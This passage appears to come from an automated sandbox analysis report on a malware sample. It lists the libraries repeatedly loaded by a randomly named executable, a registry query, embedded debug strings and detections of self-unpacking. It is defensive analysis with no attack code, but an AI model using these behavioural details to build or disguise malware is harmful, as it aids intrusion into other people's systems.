    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: mswsock.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\InprocServer32Jump to behavior
    Source: 1fWgBXPgiT.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
    Source: Binary string: wkernel32.pdb source: svchost.exe, 00000001.00000003.2768987204.0000000008B39000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wkernelbase.pdb source: svchost.exe, 00000001.00000003.2768987204.0000000008B3E000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wkernelbase.pdb( source: svchost.exe, 00000001.00000003.2768987204.0000000008B3E000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000000.2029269154.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2278410641.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000002.2300658395.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000000.2043018798.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000010.00000000.2067176221.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000013.00000002.2102035324.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000000.2096383215.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000017.00000002.2114323775.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000019.00000002.2124018614.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001B.00000002.2136680146.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001D.00000000.2132103925.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001F.00000002.2157977665.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000021.00000000.2155442846.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000023.00000000.2164321988.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000025.00000000.2172058732.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000027.00000002.2192850708.000000000039E000.00000002.00000001.01000000.00000009.sdmp
    Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\wntdll.pdb source: svchost.exe, 00000001.00000003.2863304297.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2811723462.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: l\wntdll.pdb source: svchost.exe, 00000001.00000003.2770707489.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wrpcrt4.pdb source: svchost.exe, 00000001.00000003.2901323540.0000000004D05000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wrpcrt4.pdb( source: svchost.exe, 00000001.00000003.2901323540.0000000004D05000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wkernel32.pdb( source: svchost.exe, 00000001.00000003.2768987204.0000000008B39000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wntdll.pdb source: svchost.exe, 00000001.00000003.2768987204.0000000008B33000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wntdll.pdb( source: svchost.exe, 00000001.00000003.2768987204.0000000008B33000.00000004.00000020.00020000.00000000.sdmp

    Data Obfuscation

    barindex
    Detected unpacking (changes PE section rights)
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeUnpacked PE file: 0.2.1fWgBXPgiT.exe.400000.2.unpack .text:ER;.dHGmL:R;.lzmjSu:W;.YOSWO:R;.sTDEgl:R;.fwQO:R;.L:W;.D:W;.data:W;.kubC:W;.hkw:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
    Detected unpacking (creates a PE file in dynamic memory)
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1200000.2.unpack
